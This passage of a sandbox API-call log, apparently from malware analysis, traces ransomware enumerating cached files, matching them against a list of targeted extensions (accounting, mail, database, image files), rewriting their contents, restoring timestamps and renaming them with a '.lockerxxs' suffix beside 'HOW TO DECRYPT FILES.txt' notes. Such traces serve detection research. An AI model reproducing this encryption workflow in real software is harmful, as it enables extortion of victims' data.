[0084.504] lstrlenA (lpString="*.myox") returned 6 [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.myo") returned 0 [0084.504] lstrlenA (lpString="*.myo") returned 5 [0084.504] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbw") returned 0 [0084.504] lstrlenA (lpString="*.qbw") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbb") returned 0 [0084.505] lstrlenA (lpString="*.qbb") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbm") returned 0 [0084.505] lstrlenA (lpString="*.qbm") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbo") returned 0 [0084.505] lstrlenA (lpString="*.qbo") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbx") returned 0 [0084.505] lstrlenA (lpString="*.qbx") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qba") returned 0 [0084.505] lstrlenA (lpString="*.qba") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qby") returned 0 [0084.505] lstrlenA (lpString="*.qby") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qbj") returned 0 [0084.505] lstrlenA (lpString="*.qbj") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.ofx") returned 0 [0084.505] lstrlenA (lpString="*.ofx") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.qif") returned 0 [0084.505] lstrlenA (lpString="*.qif") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.mye") returned 0 [0084.505] lstrlenA (lpString="*.mye") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.mbox") returned 0 [0084.505] lstrlenA (lpString="*.mbox") returned 6 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.eml") returned 0 [0084.505] lstrlenA (lpString="*.eml") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.pst") returned 0 [0084.505] lstrlenA (lpString="*.pst") returned 5 [0084.505] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.ost") returned 0 [0084.505] lstrlenA (lpString="*.ost") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.idx") returned 0 [0084.506] lstrlenA (lpString="*.idx") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.dbx") returned 0 [0084.506] lstrlenA (lpString="*.dbx") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.sql") returned 0 [0084.506] lstrlenA (lpString="*.sql") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.mdb") returned 0 [0084.506] lstrlenA (lpString="*.mdb") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.fdb") returned 0 [0084.506] lstrlenA (lpString="*.fdb") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.wab") returned 0 [0084.506] lstrlenA (lpString="*.wab") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.dat") returned 0 [0084.506] lstrlenA (lpString="*.dat") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.txt") returned 0 [0084.506] lstrlenA (lpString="*.txt") returned 5 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.jpeg") returned 0 [0084.506] lstrlenA (lpString="*.jpeg") returned 6 [0084.506] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", pszSpec="*.jpg") returned 1 [0084.506] lstrlenA (lpString="*.jpg") returned 5 [0084.506] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" [0084.506] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" [0084.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg." [0084.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.lockerxxs" [0084.507] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.507] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25f6 [0084.507] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3)) returned 1 [0084.507] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.507] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x25d0, lpOverlapped=0x0) returned 1 [0084.510] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg") returned="BBEgD9f[1].jpg" [0084.510] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.510] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x25d0, lpOverlapped=0x0) returned 1 [0084.510] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.510] CloseHandle (hObject=0xa4) returned 1 [0084.510] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg.lockerxxs")) returned 1 [0084.511] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ab8030, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x819, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEgJfz[1].jpg", cAlternateFileName="BBEGJF~1.JPG")) returned 1 [0084.511] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.511] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEgJfz[1].jpg") returned 1 [0084.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEgJfz[1].jpg") returned 1 [0084.512] lstrcmpiA (lpString1="", lpString2="BBEgJfz[1].jpg") returned -1 [0084.512] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg") returned="BBEgD9f[1].jpg" [0084.512] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.512] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.512] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.512] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.512] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEgJfz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.ems") returned 0 [0084.512] lstrlenA (lpString="*.ems") returned 5 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.db") returned 0 [0084.512] lstrlenA (lpString="*.db") returned 4 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.dbf") returned 0 [0084.512] lstrlenA (lpString="*.dbf") returned 5 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.myox") returned 0 [0084.512] lstrlenA (lpString="*.myox") returned 6 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.myo") returned 0 [0084.512] lstrlenA (lpString="*.myo") returned 5 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbw") returned 0 [0084.512] lstrlenA (lpString="*.qbw") returned 5 [0084.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbb") returned 0 [0084.512] lstrlenA (lpString="*.qbb") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbm") returned 0 [0084.513] lstrlenA (lpString="*.qbm") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbo") returned 0 [0084.513] lstrlenA (lpString="*.qbo") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbx") returned 0 [0084.513] lstrlenA (lpString="*.qbx") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qba") returned 0 [0084.513] lstrlenA (lpString="*.qba") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qby") returned 0 [0084.513] lstrlenA (lpString="*.qby") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qbj") returned 0 [0084.513] lstrlenA (lpString="*.qbj") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.ofx") returned 0 [0084.513] lstrlenA (lpString="*.ofx") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.qif") returned 0 [0084.513] lstrlenA (lpString="*.qif") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.mye") returned 0 [0084.513] lstrlenA (lpString="*.mye") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.mbox") returned 0 [0084.513] lstrlenA (lpString="*.mbox") returned 6 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.eml") returned 0 [0084.513] lstrlenA (lpString="*.eml") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.pst") returned 0 [0084.513] lstrlenA (lpString="*.pst") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.ost") returned 0 [0084.513] lstrlenA (lpString="*.ost") returned 5 [0084.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.idx") returned 0 [0084.513] lstrlenA (lpString="*.idx") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.dbx") returned 0 [0084.514] lstrlenA (lpString="*.dbx") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.sql") returned 0 [0084.514] lstrlenA (lpString="*.sql") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.mdb") returned 0 [0084.514] lstrlenA (lpString="*.mdb") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.fdb") returned 0 [0084.514] lstrlenA (lpString="*.fdb") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.wab") returned 0 [0084.514] lstrlenA (lpString="*.wab") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.dat") returned 0 [0084.514] lstrlenA (lpString="*.dat") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.txt") returned 0 [0084.514] lstrlenA (lpString="*.txt") returned 5 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.jpeg") returned 0 [0084.514] lstrlenA (lpString="*.jpeg") returned 6 [0084.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg", pszSpec="*.jpg") returned 1 [0084.514] lstrlenA (lpString="*.jpg") returned 5 [0084.514] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" [0084.514] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" [0084.514] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 